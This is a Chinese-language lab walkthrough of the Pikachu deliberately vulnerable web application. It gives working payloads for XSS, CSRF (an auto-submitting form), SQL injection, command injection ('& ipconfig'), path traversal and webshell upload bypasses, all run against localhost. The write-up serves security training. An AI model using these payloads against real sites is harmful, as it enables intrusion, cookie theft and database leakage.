暴力破解

基于表单的暴力破解

随便输入一个密码并点击登录,用burpsuite抓包

转给爆破模块,由于只用爆破密码这一个变量,使用狙击手模式

导入字典开始爆破,在结果中按长度排序找到正确密码

验证码绕过(on server)

本关多了一个在服务器后台验证的验证码

只要我们不把包放过,许多网页应用的服务器后台是不会刷新验证码,或者验证码在一段时间内有效

保留当前的验证码,仍然以密码作为变量爆破

验证码绕过(on client)

由于验证码判断是在前端进行,我们直接禁用JavaScript功能再爆破即可

token防爆破

本关先抓包观察一下请求内容

可以发现在登录时还需要上传token,所以我们可以使用爆破模块的音叉模式

定义密码和token这两个变量,token抓取页面中的token值即可

当然此时由于payload是抓取页面上的值,所以不能使用多线程,需要将线程设为1

XSS漏洞

反射型xss(get)

尝试<script>alert(1)</script>

输到一半发现存在长度限制,前往页面元素中调整

成功弹窗

反射型xss(post)

本关和上一关不一样的是提交的POST请求,当然构造的xss语句与上一关一致

存储型xss

将之前的注入语句从留言板提交后,会被存储到网站的数据库中,所以只要后续浏览该页面,无论是否提交内容,都会弹窗

DOM型xss

观察页面的js

我们在框中输入的内容会被放入a标签加到页面上

所以和其他类型的注入攻击思路一样,首先思考如何闭合以构造注入语句

我们可以将href属性闭合,后面的内容会被作为a标签的其他属性

当然也可以将a标签闭合,后面的内容则会直接被当作HTML元素

尝试提示的两种方法

1
2
'><img src="#" onmouseover="alert('xss')">
' onclick="alert('xss')">

DOM型xss-x

观察js代码

1
2
3
4
5
6
7
8
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
// alert(xss);

document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}

本关与前一关的方法一致,区别就是这次是从url中获取我们输入的text参数,类似反射型

xss之盲打

盲打即在前端无法看到攻击是否成功,因为XSS注入语句没有直接拼入当前页面的HTML

但是本题提示输入的内容保存在了后台页面,我们在注入后访问admin_login.php

xss之过滤

先尝试<script>alert(document.cookie)</script>

只剩下一个>,猜测script关键字被过滤

使用a标签绕过

1
<a href="" onclick="alert('xss')">

xss之htmlspecialchars

尝试注入语句<script>alert(document.cookie)</script>

发现被传入了href的属性

构造如下语句绕过

1
" onclick="alert(document.cookie)">

仍然注入失败,查看源代码,发现进行了htmlspecialchars编码过滤

htmlspecialchars编码规则如下

1
2
3
4
5
&:转换为&amp;
":转换为&quot;
':转换为成为 '
<:转换为&lt;
>:转换为&gt;

当然有时候该函数被设置为仅过滤双引号(默认设置下),这需要我们试出来

修改刚刚的注入语句

1
' onclick='alert(document.cookie)

xss之href输出

传入的内容放在href属性中

尝试上一关的注入语句' onclick='alert(document.cookie)

注入失败,查看源代码

发现单引号被编码了

由于链接标签里可以通过在 href 中使用 javascript:xxx来执行 JavaScript

构造注入语句javascript:alert(document.cookie)

xss之js输出

查看页面元素和源代码

输入被传给了ms

我们可以尝试闭合源代码中原有的<script>标签

1
</script><script>alert('xss')</script>

CSRF

CSRF(get)

使用提示的账户密码登录到其中一个账号

修改个人信息,提交并使用bp抓包

抓到的数据包如下

请求的URL和请求体中并没有看到token,说明没有防CSRF的措施

我们将住址改为You are hacked

构造的链接为http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=110&add=You+are+hacked&email=114514%40gmail.com&submit=submit

接下来我们登录到另一个用户,并新建一个标签页并访问构造的链接,用于模拟用户点击恶意链接

CSRF(post)

遇到目标参数在请求体中传输,即POST传参的情况时,我们可以构造一个html网站并引诱用户点击

在该站点中发送post请求到目标网站

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>csrf_post</title>
<script>
window.onload = function(){
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
<input type="text" name="sex" value="boy"><br>
<input type="hidden" name="phonenum" value="110"><br>
<input type="hidden" name="add" value="china"><br>
<input type="hidden" name="email" value="Hacked by R1ck"><br>
<input id="postsubmit" type="submit" name="submit" value="submit">
</form>
</body>
</html>

在靶场环境中新建一个html页面csrf.html并放入上面的代码

访问该网页http://127.0.0.1/pikachu/csrf.html

CSRF Token

由于服务器生成了token,每次像后端服务器提交请求都需要验证token

而当我们刷新页面时token值会发生变化,所以CSRF漏洞无法生效

SQL注入

数字型注入

查询一下发现是post注入类型

判断一下id是不是注入点,由于题目提示是数字型,所以不需要考虑闭合引号

1
id = 1000 or 1 = 1

按照SQL注入的流程,先找字段数量

1
id=1 order by n

一共两个字段,确认字段数量是为了后续联合注入的字段数与主查询一致

接下来就是用联合查询开始脱库

字符型注入

字符型要多考虑引号的闭合

这里我们把目标设简单一些,爆出当前表的所有用户名和邮箱

注入语句为' or 1=1 --

搜索型注入

和字符型类似,我们闭合引号即可

xx型注入

这一关的后端源码中SQL语句为

1
select id,email from member where username=('$name')

所以除了引号,我们还需要闭合前面的括号

1
xx') or 1=1 -- 

insert/update注入

本关有两个注入点,注册时会向数据库插入数据,是一个注入点

登录后修改信息会更新数据库条目,也是一个注入点

这两个注入点都可以使用报错注入,因为原SQL语句不提供select

1
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '

后侧使用and '闭合即可

delete注入

执行删除留言的操作,并使用bp抓包

只传递了一个参数id

猜测语句为delete from message where id={$_GET['id']}"

此时由于是数字型注入点,不需要考虑引号

1
1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

需要注意的是由于是Get传参,所以需要url编码一下

http header注入

登录后提示几个请求头的信息被记录,也就是插入数据库

使用bp抓包,选择刚刚的其中一个请求头,使用报错注入' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '

宽字节注入

宽字节注入只需在注入语句的引号前加上%df

远程命令/代码执行

ping

127.0.0.1 & ipconfig

eval

说实话这个靶场做的真的很一般,连关卡名称都能打错

提交phpinfo();,可以查看该站点的phpinfo信息

文件包含

本地文件包含

测试一下页面,发现URL的filename中传入了文件

更改该文件名称,例如查看后台的配置文件../../../../Windows/System32/drivers/etc/hosts

当然也可以爆破同目录下的重要文件

远程文件包含

本关需要在小皮面板中打开远程文件包含的配置

不安全的文件下载

本关修改filename参数,通过目录遍历的方法可以下载到敏感文件

不安全的文件上传

client check

将一句话木马文件的后缀改为允许的jpg后上传,然后使用bp拦包修改后缀

MIME type

MIME检验在服务端

这一关同样可以使用bp抓包,要注意的是Content-Tyoe应该是允许的类型

getimagesize

要绕过该函数的检测,我们可以伪造图片的16进制头部字符串,当然更简单的方法是将图片和php文件合成为一个图片

1
copy test.jpg + test.php synth.jpg

上传synth.jpg,后续结合本地文件包含漏洞组合攻击

越权

水平越权

登录后查看个人信息,bp抓包后将username参数改成其他账号的用户名即可

垂直越权

抓一下管理员新增用户时的包,查看URI

退出登录后,切换成普通用户,使用刚刚的目录

目录遍历

使用../dir.php,可以将上一级页面的内容展示出来

敏感信息泄露

查看源代码

登录后抓包,cookie中也泄露了很多